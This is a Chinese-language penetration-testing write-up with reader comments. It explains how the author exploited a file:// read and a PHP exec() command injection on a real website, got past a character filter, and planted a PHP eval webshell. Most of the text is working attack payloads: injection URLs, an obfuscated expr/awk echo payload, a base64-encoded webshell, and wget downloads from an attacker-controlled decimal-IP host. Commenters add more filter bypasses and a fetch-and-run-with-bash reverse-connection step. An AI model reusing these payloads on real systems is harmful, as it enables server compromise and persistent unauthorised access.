linux渗透测试技巧2则

0x00 背景


发现一网站存在漏洞,遂进行测试:

这是一个获取网页源码的cgi脚本http://xxx.com/cgi-bin/printfile.cgi?file=http://www.baidu.com
习惯性的,在file后面测试 ../../../../../包含或者读取漏洞均无效.有意思的是使用File协议(本地文件传输协议)成功读取目录以及文件。

2014030416005735884.jpg

目标环境是Red Hat6.5+Apache ,接下来的工作翻翻敏感文件,找找配置文件收集信息定位当前站点路径.

2014030416074032436.jpg

0x01 发现突破点


经过一段搬砖的时间查看,当前站点没有什么可以利用的,同服站点的脚本语言主要以cgi  perl  为主,少量php .一贯地毯式搜索可以利用的代码,期间找到不少有执行权限的cgi脚本,尝试在浏览器中访问,但是都提示 500内部错误,这样即使成功运行了也无法得知代码运行状态,只能放弃.又经过一段搬砖的时间,在同服站点的php文件中终于让我找到了一行有意思的php脚本代码.

#!php
exec('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf');

exec() 执行外部程序,只要能控制 PICNAME='.$file.' 中的变量$file,那就有可能执行系统命令.果断保存代码本地测试.

代码分析如下:

#!php
<html>
<head><title>Content</title>

<link rel="stylesheet" type="text/css" href="style.css"></link>
<link rel="stylesheet" type="text/css" href="styles.css"></link>
<script type="text/javascript" src="common.js"></script><script type="text/javascript" src="css.js"></script><script type="text/javascript" src="standardista-table-sorting.js"></script>
<script type="text/javascript" src="toggle.js">
</script>
<script type="text/javascript">
function updateAppletTarget(q) {
  parent.applet.updateAppletTarget(q);
}
</script>
</head>
<body>
<div id="change">
<?php 


$id="";
if (isset($_POST["id"])) $id=$_POST["id"];         // GET或POST接收输入id
else if  (isset($_GET["id"])) $id=$_GET["id"];


if (strlen($id)>0) {

// PUBLIC_ID_SEPARATOR
//$id = ereg_replace(":","|",$id);

#$id="tesdts.fdkjfls|fjksldaf.fdsfaa";
#echo $id;

#note: equivalent function is used in fi.jyu.mit.utils.FileLib.java
#$file = ereg_replace("\\||\\.","_",$id);
$file = ereg_replace("\\||\\:|\\.","_",$id);                            //  ereg_replace -- 如果id传入数据中包含\|:.,_,则ereg_replace正则进入下一个判断。
                                                                        // string ereg_replace ( string pattern, string replacement, string string )

#echo $file;
  if (strpos($file,'\\') !== false                                       // \\strpos检索$file中的字符窜是否包含 \\ 则为false
      or strpos($file,'/') !== false
      or strpos($file,':') !== false) die('Not current directory');      // 提示 Not current directory(非当前目录)



// refresh html file and pics
#    exec('make -f Makefile -C .. PICNAME='.$file.' htmlcheck');
#   exec('make PICNAME='.$file.' htmlcheck');
# die('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf');
   exec('make -i -f skriptit/Makefile DOT_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png_large dot2pdf');  # $file往上看
#exec('make PICNAME='.$file.' dot2png dot2png_large dot2pdf');


if ((!file_exists("html/".$file.".html")) || (filesize("html/".$file.".html")==0)) {
    echo "päivitetään "."html/".$file.".html";
?>
<script type="text/javascript">
 updateAppletTarget('<?php echo $id ?>');
</script>
<?php  }
else readfile("html/".$file.".html");  

}

?>
<!-- disabled temporirarily 
<a href="#" onclick="updateAppletTarget('edit');return false;">Muokkaa</a>
-->
</div>
</body>
</html>

下图是本地测试,被过滤的字符:

#!php
 $file = ereg_replace("\\||\\:|\\.","_",$id);   

这里的| 以及.都被替换成_(下横)出现 // \\ 路径符号则提示Not current directory(非当前目录)

2014030416065776275.jpg

#!php
die('make -i -f skriptit/Makefile DOT\_EXEC=bin/ SCRIPTDIR=skriptit/ PICNAME='.$file.' htmlcheck dot2png dot2png\_large dot2pdf'); 

die 打印结果看看:

2014030416114563586.png

打印结果可以得知

aaaaa, '`

都能带入而且;(分号)也成功执行那么就有意思了,构造语句就是:

http://localhost/test.php?id=aaaa;echo test >aaa

成功写入当前目录.

2014030416123189624.png

当然,还可以执行命令,也同样把命令执行结果写入文件得到回显.

http://localhost/test.php?id=aaaa;id >aaa; 

注意末尾多加了一个;(分号)截断了后面多余的东西.

2014030416131320282.png

接下就是写shell,理清一下思路:

#!php
$file = ereg_replace("\\||\\:|\\.","_",$id); 

| 以及.都被替换成_(下横),出现 // \\ 路径符号则提示Not current directory(非当前目录),写shell 需要.(点)加后缀 ,如果直接写文件

http://localhost/test.php?id=aaaa;echo <?php eval($_REQUEST[v]);?> >zzz.php

那么得到的文件名是 zzz_php,这里也不能用\ 来转义.

2014030416170030636.png

小伙伴们可能会说,妈蛋,不是还能下载文件吗. 代码这样写

http://localhost/test.php?id=aaaa;wget www.ccav.com/shell.php

那么得到的结果是:

Not current directory

因为包含了.(点)跟路径符号.

0x02 绕过方式


到这得考虑如何绕过过滤分别使用两个方法得shell.

1如何echo 写shell 
2.如何通过下载得shell 

第一种方法:

如何echo 写shell,以写一句话PHP木马为例,主要解决的是.(点)的问题,$(美元符号),以及>(管道符号)和括号.我这里使用的方法是”借花献佛”

echo完整的语句如下:

#!php
echo <?php eval($_REQUEST[v]);?> >test.php

既然不能生成那就 ”借”,直接借现有文件中的字符.可以从变量中借或者从现有的文件中借.用到的方法是linux Shell expr的方法.

如下图,打印了test.php文件中第一行的 6个字符,要做的就是把需要的字符都从文件中借过来。(示例的test.php 就是漏洞文件本身)

2014030416213050474.png

接下来就是体力活了,要把一句话木马中所有被过滤的字符都依次借过来. 要注意的是,读取字符的间隔貌似不能包含空格,否则expr会判断列数错误.

[email protected]:/var/www# echo `expr substr $(awk NR==20 test.php) 5 1`

"
    
[email protected]:/var/www# echo `expr substr $(awk NR==20 test.php) 1 1`

$
[email protected]:/var/www# echo `expr substr $(awk NR==1 test.php) 1 1`

<
[email protected]:/var/www# echo `expr substr $(awk NR==1 test.php) 6 1`
>
[email protected]:/var/www# expr substr $(awk NR==11 test.php) 35 1
    
)
    
[email protected]:/var/www# expr substr $(awk NR==11 test.php) 33 1
    
(
[email protected]:/var/www# expr substr $(awk NR==20 test.php) 7 1
    
;
[email protected]:/var/www# expr substr $(awk NR==17 test.php) 2 1
    
?

最后总算凑够数了,完整的语句是:

echo `expr substr $(awk NR==1 test.php) 1 1`?php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`php  

在shell 下成功执行

2014030416261134841.png

到这里马上就能拿到shell了,用不了多久,我就会升职加薪,当上总经理,出任CEO,迎娶白富美,走上人生巅峰。想想还有点小激动呢,嘿嘿~~ 

2014030416275658281.jpg

我擦,这怎么玩......在测试环境上执行出现的结果,万万没想到最终还是有.(点),因为读test.php文件,还是需要带后缀. 你妹啊.....

2014030416233033879.png

又回到点的问题.这次直接ls >xxx 把当前目录下的文件(目录文件带了后缀)都写入xxx,然后在从xxx 中借.(点),替换原先的语句。

http://localhost/test.php?id=aaaa;ls >xxx;

以我本地环境为例,xxx文件的第1行第2列(2.php)的字符就是.(点)

2014030416293419945.png

将原来语句中的test.php的.(点) 都替换成 

`expr substr $(awk NR==1 xxx)  2 1`

原语句:

echo `expr substr $(awk NR==1 test.php) 1 1`?php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`php

改为:

echo `expr substr $(awk NR==1 test`expr substr $(awk NR==1 xxx)  2 1`php) 1 1`?php eval`expr substr $(awk NR==11 test`expr substr $(awk NR==1 xxx)  2 1`php) 33 1``expr substr $(awk NR==20 test`expr substr $(awk NR==1 xxx)  2 1`php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test`expr substr $(awk NR==1 xxx)  2 1`php) 35 1``expr substr $(awk NR==20 test`expr substr $(awk NR==1 xxx)  2 1`php) 7 1``expr substr $(awk NR==17 test`expr substr $(awk NR==1 xxx)  2 1`php) 2 1``expr substr $(awk NR==1 test`expr substr $(awk NR==1 xxx)  2 1`php) 6 1` >2`expr substr $(awk NR==30 test`expr substr $(awk NR==1 xxx)  2 1`php) 13 1`php

执行出现了语法错误.

2014030416323382082.png

换一个思路,原来绕了个大弯路.直接cat test.php > xxoo 就解决了. 不过这样还是过滤成了test_php,只能先从 xxx把点借过来.

语句:

cat test`expr substr $(awk NR==2 xxx) 6 1`php >xxoo

这样把test.php写入xxoo文件就ok了

最后把test.php全部改成xxoo就解决了点的限制

原语句:

echo `expr substr $(awk NR==1 test.php) 1 1`?php eval`expr substr $(awk NR==11 test.php) 33 1``expr substr $(awk NR==20 test.php) 1 1`_REQUEST[v]`expr substr $(awk NR==11 test.php) 35 1``expr substr $(awk NR==20 test.php) 7 1``expr substr $(awk NR==17 test.php) 2 1``expr substr $(awk NR==1 test.php) 6 1` >2`expr substr $(awk NR==30 test.php) 13 1`php

修改后:

echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php

测试环境成功执行:

http://localhost/test.php?id=anything;echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php;

2014030416381681081.png

最终成功写入完整的php一句话木马.拿下目标webshell 权限.

2014030416360451579.png

总结步骤:

1)


ls >xxx ,cat xxx    //先找点,得到.的行列数。

2)

Cat  test.`expr substr $(awk NR==1 xxx)  2 1`php  > xxoo  //将test.php 写入xxoo文件,方便后面读取。

3)

echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php;     //所需的字符从替换成xxoo文件中的字符。

第二种方法:

通过下载文件得到shell,这种方法要省事很多,要解决的关键还是.(点),还有//(路径符).(点)的解决可以用数字IP的方法绕过.

需要条件:

外网能用ip访问的webserver,以及目标存在wget程序和当前目录有写文件权限。 

在线转换链接:

http://tool.chinaz.com/ip/?IP=127.0.0.1

2014030416412310827.png

以本机为例(ubuntu +apache2:)

1.先转换得到数字ip  127.0.0.1 = 2130706433 
2.将外网的服务器的php解析去掉,在apache配置文件中将下面参数注释 
#LoadModule php5_module /usr/lib/apache2/modules/libphp5.so 
3.在根目录创建index.html文件,内容为`<a href="shell.php">test</a>`,创建shell.php 内容是马. 
4.使用wget 整站下载功能下载(wget自动沿着href 指向爬到shell.php并下载) 
Ps:貌似用301跳转也可以,不过我没有测试 

参数: wget -r 2130706433  

效果如下图,下载后以目录结构的方式保存文件得到shell。

2014030416425192388.png

0x03 最后


欢迎大家指正错误或纰漏,以此文为例,希望大家分享一些linux shell下绕过字符过滤写shell的方法,

最后感谢月哥悉心的指导。

©乌云知识库版权所有 未经许可 禁止转载


30
12 2014-04-14 07:25:17

wget www.google.com 好像是下载默认页... 找个不解析 PHP 服务器 设为默认页就搞定了.

30
瞌睡龙 2014-03-12 18:10:05

赞小伙伴~

30
tmp 2014-03-12 16:49:43

[[email protected] shm]$ cat test.php
ddddddddddddddd
[[email protected] shm]$ echo ddddddddddddddd >> test*php
[[email protected] shm]$ cat test*php
ddddddddddddddd
ddddddddddddddd

30
tmp 2014-03-12 16:32:45

vps上 放个1 .
1里面的内容是
echo "" > test.php
(其实1里面可以是各种反连脚本.)
在1所在的目录执行 python -m SimpleHTTPServer 8080

在target的web上.wget 2130706433:8080/1 -O xxx ;bash xxx
一句话应该就写进去了.
如果不能反连.就要在web上老老实实的echo bas64过的东西了.

30
tmp 2014-03-12 16:00:20

base64 %3c 1 %3e b ; base64 -d %3c b %3e 1
. 也可以用%2e 测试看看

30
tmp 2014-03-12 15:51:37

...我写的命令被过滤了 ???
写一个脚本1.脚本里面是 bash script (把你想做的命令都写里面). base64 b , 用你的第二个办法wget 过来. 直接在web . base64 -d1. 然后 bash 1. 这样就不用在web的输入上面过多的和. | 等符号扯淡了.
1 里面可以是反连脚本.也可以是写入php一句的动作.

30
tmp 2014-03-12 15:49:27

写一个脚本1.脚本里面是 bash script (把你想做的命令都写里面). base64 b , 用你的第二个办法wget 过来. 直接在web . base64 -d 1. 然后 bash 1. 这样就不用在web的输入上面过多的和. | 等符号扯淡了.
1 里面可以是反连脚本.也可以是写入php一句的动作.

30
Xeyes 2014-03-12 12:18:07

求实例代码.

30
tmp 2014-03-12 09:18:47

@loopx9 ` 用$()绕过

30
tmp 2014-03-12 09:14:50

shell script 只要能混淆或拼凑命令基本都能绕过 .
IFS 也可以绕过|
至于base64 如果是在web提交注意base64字符串中的+等特殊符号.会被转移.把+号这些特殊符号urlcode一下就ok

30
tmp 2014-03-12 09:09:53

办法太多了............

30
YHHK 2014-03-09 10:45:22

膜拜逻辑怪。。。。

30
loopx9 2014-03-07 14:29:09

如果`也过滤了呢?

30
dotneter 2014-03-06 23:24:22

file=file:///etc/passwd

30
dotneter 2014-03-06 23:20:19

好流弊!!!

30
hkAssassin 2014-03-06 14:25:26

楼主 http://localhost/test.php?id=aaaa;echo test >aaa 这句如果换成http://www.xxx.com/test.php?id=aaaa;echo test >aaa 我测试的结果是写不进文件这是为什么?

30
SUNRISE 2014-03-06 10:09:37

漏了点东西,之前那串php代码是base64加密的,写入的内容是eval(base64_decode("base64字符串"))。虽然没有测试,不过我觉得php -r base64_decode("xxxxx")应该也是可以的

30
SUNRISE 2014-03-06 10:07:06

遇到过,我的解决方法是写一串php代码,代码内容是生成一个名为x.php内容为一句话的文件,然后整串echo 到一个不带点的文件xxx里,不是能执行命令么,直接php xxx。前期读文件的时候一律用通配符“?”,也考虑追加文件但是权限低点不能修改,只能写入。楼主的想法不错,就是有点绕。。。

30
SUNRISE 2014-03-06 10:03:10

我遇到过,用的是 "?"

30
Ray 2014-03-06 10:01:19

php -r "eval(base64_decode('写点什么'));" 应该也是可以的吧。

30
xiaoL 2014-03-06 09:16:12

本地随便找一个PHP后缀文件
比如
hello.php
用 `ls hello*php`
可以识别,跟点有什么关系

30
zol 2014-03-06 02:07:06

. 点被过滤

30
wefgod 2014-03-05 23:25:44

是说WEB环境下的命令执行,php的。在系统直接执行这个是可行的

30
wefgod 2014-03-05 23:25:16

这个我在做江南科友的HAC的时候测试过,无效的。

30
xiaoL 2014-03-05 18:04:22

shell*意思是本地存在的一个shell.php文件
你可以随意找一个

30
ccSec 2014-03-05 16:41:06

第二个思路不错。
评论更亮。

30
寂寞的瘦子 2014-03-05 16:36:36

神奇,想到一起拉~~

30
游客 2014-03-05 16:28:17

直接反弹shell。
可以命令直接反弹,也可以下载脚本执行后反弹。

30
Xeyes 2014-03-05 16:24:22

上面我打错了,应该三三部曲:

echo dGVzdC5waHA= >1

echo PD9waHAgZXZhbCgkX1JFUVVFU1Rbdl0pOz8+ >2

echo `base64 -d 2` >`base64 -d 1`

30
Xeyes 2014-03-05 16:22:25

恩,了解.

30
Xeyes 2014-03-05 16:20:50

[email protected]:/tmp$ wget 2130706433 -O `ls shell*`
--2014-03-05 16:20:29-- http://2130706433/
正在解析主机 2130706433 (2130706433)... 127.0.0.1
正在连接 2130706433 (2130706433)|127.0.0.1|:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 206 [text language="/html"][/text]
正在保存至: “shell*”

100%[======================================>] 206 --.-K/s 用时 0s

2014-03-05 16:20:29 (20.5 MB/s) - 已保存 “shell*” [206/206])

30
寂寞的瘦子 2014-03-05 16:07:49

第二句的PD9waHAgZXZhbCgkX1JFUVVFU1Rbdl0pOz8+不要base64的,直接1
echo PD9waHAgZXZhbCgkX1JFUVVFU1Rbdl0pOz8+ >2
echo `base64 -d 2` >> `base64 -d 1`

30
Xeyes 2014-03-05 16:04:21

感谢各位牛提供的方法,根据瞌睡龙跟寂寞的瘦子的方法.延伸出另一个方法.
dGVzdC5waHA=(test.php)
PD9waHAgZXZhbCgkX1JFUVVFU1Rbdl0pOz8+()

echo dGVzdC5waHA= >1

echo PD9waHAgZXZhbCgkX1JFUVVFU1Rbdl0pOz8+ >2

cat `base64 -d 2` >`base64 -d 1`

30
xiaoL 2014-03-05 15:58:55

wget一句话?
wget 123123123123 -O `ls shell*`
这样也行吧

30
Xeyes 2014-03-05 15:51:57

echo dGVzdC5waHA= >1

echo 'PD9waHAgZXZhbCgkX1JFUVVFU1Rbdl0pOz8+' >> `base64 -d 1`
这样吗? 没成功.

30
寂寞的瘦子 2014-03-05 15:00:22

先执行:echo dGVzdC5waHA= >1
然然后:echo '一句话' >> `base64 -d 1`
应该可以了

30
Xeyes 2014-03-05 14:50:57

mickey 看皂。。。。

30
mickey 2014-03-05 14:47:28

恩。。。 文章挺赞的,评论学到的东西更多。
恩。。。 月总,恩。。。你俩幸福就行了。。

30
Xeyes 2014-03-05 14:36:25

| 被过滤。不过 寂寞的瘦子童鞋这样简便多了。 收藏了

30
寂寞的瘦子 2014-03-05 14:35:11

傻逼了╭(╯^╰)╮只顾着.了 忘记|了

30
寂寞的瘦子 2014-03-05 14:33:30

插,我的''里面的一句话被过滤了?

30
寂寞的瘦子 2014-03-05 14:31:46

echo '' > `echo dGVzdC5waHA= | base64 -d`

30
寂寞的瘦子 2014-03-05 14:30:50

echo '' >> `echo dGVzdC5waHA= | base64 -d` 刚摸索的

30
Xeyes 2014-03-05 14:21:32

多谢 ,@瞌睡龙 ( ̄︶ ̄)↗

30
Xeyes 2014-03-05 14:20:37

多谢 @乌帽子 ,( ̄︶ ̄)↗ 涨姿势了。

30
寂寞的瘦子 2014-03-05 14:18:07

可以弄个补充模块,然后你把好的答案贴上去写上作者

30
寂寞的瘦子 2014-03-05 14:13:06

这么赞!

30
瞌睡龙 2014-03-05 14:01:24

赞,可以追加到已有的php文件中,用*匹配代替.

30
乌帽子 2014-03-05 13:48:29

尖括号里的php代码怎么没了?

30
乌帽子 2014-03-05 13:47:49

看着lz的点越写越多,我真是着急啊。
echo > test*php
用通配符代替点就ok了

30
寂寞的瘦子 2014-03-05 12:38:11

尼玛好帅~~

30
寂寞的瘦子 2014-03-05 12:34:16

太帅了,有点黑客的感觉

30
瞌睡龙 2014-03-05 12:21:36

作者绕过滤的时候走了弯路,看看大家谁有更简洁的绕过方式呢?我先来,wget先下载两个文件 里面内容分别为和test.php文件名分别是z1,z2。
然后执行 cat z1 > `cat z2`

感谢知乎授权页面模版